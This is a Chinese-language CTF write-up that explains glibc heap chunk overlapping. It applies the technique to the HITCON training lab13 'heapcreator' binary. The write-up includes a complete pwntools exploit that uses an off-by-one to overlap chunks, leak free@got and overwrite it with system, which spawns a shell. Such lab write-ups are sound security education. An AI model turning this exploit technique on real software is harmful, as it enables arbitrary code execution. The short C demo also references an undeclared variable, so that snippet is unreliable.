[TOC]
漏洞原理
chunk overlapping的利用条件:
- 存在堆相关漏洞
- 可以通过该漏洞控制 chunk header 中的数据,如prev_size或size
eg:
#include <stdio.h>
#include <stdlib.h>
int main(){
void *chunk1, *chunk;
chunk1 = malloc(0x10);
malloc(0x10);
printf("chunk1:%p\n", chunk1);
*(long long*)((long long)chunk1 - 0x8) = 0x41;
free(chunk1);
chunk = malloc(0x30);
printf("chunk2:%p\n", chunk2);
return 0;
}
我们一开始申请了两个chunk:
将chunk1的size域改为0x41:此时chunk1覆盖了chunk2
那么当我们释放chunk1时,该chunk会被挂到0x40中(我的glibc比较高)
当我们在去申请0x30大小的chunk时,该chunk就会被复用,这时我们就可以通过chunk去控制chunk2
例题
hitcontraning_lab13
程序流程非常简单,一个堆管理器:
- 对于每一个堆,程序会先创建一个大小为0x10的chunk存放堆的size和content_ptr
- 漏洞在于对堆的edit函数,存在off by one漏洞
我们把存放size;content_ptr的chunk叫做结构体chunk
利用思路:
- 利用chunk header的复用,通过off by one漏洞去覆盖下一个chunk的size域
创建一个大小为0x18,一个为0x10大小的堆,如下图
通过第一个堆,去覆盖第二个堆的结构体chunk size域为0x41,此时出现了lapping
释放堆2
申请大小为0x30的堆,注意此时content的chunk是包含结构体的chunk的,而content我们是可以修改和输出的,所以我们可以把content_ptr修改为free@got,然后show(1)就可以泄漏free@got的内容,然后我们在edit(1,system)就可以把free@got的内容修改为system的地址;而如果我们在第一个堆的conten开头写上/bin/sh\x00,那么delete(0)时就等同于system(binsh)了
exp:
from pwn import *
context.binary = './heapcreator'
#context.log_level = 'debug'
io = process("./heapcreator")
elf = ELF("./heapcreator")
libc = elf.libc
def cmd(index):
io.sendafter(b'choice :', str(index).encode())
def create(size, content):
cmd(1)
io.sendafter(b'Size of Heap : ', str(size).encode())
io.sendafter(b'Content of heap:', content)
def edit(index, content):
cmd(2)
io.sendafter(b'Index :', str(index).encode())
io.sendafter(b'Content of heap : ', content)
def show(index):
cmd(3)
io.sendafter(b'Index :', str(index).encode())
io.recvuntil(b'Content : ')
return io.recvuntil(b'\n', drop=True)
def delete(index):
cmd(4)
io.sendafter(b'Index :', str(index).encode())
create(24, b'A')
create(16, b'B')
edit(0, b'/bin/sh\x00' + b'A'*0x10 + b'\x41')
#gdb.attach(io)
delete(1)
payload = p64(0)*3 + p64(0x21) + p64(0x30) + p64(elf.got['free'])
create(48, payload)
free_addr = u64(show(1).ljust(8, b'\x00'))
print("free_addr:", hex(free_addr))
system = free_addr - libc.symbols['free'] + libc.symbols['system']
print("system:", hex(system))
edit(1, p64(system))
delete(0)
io.interactive()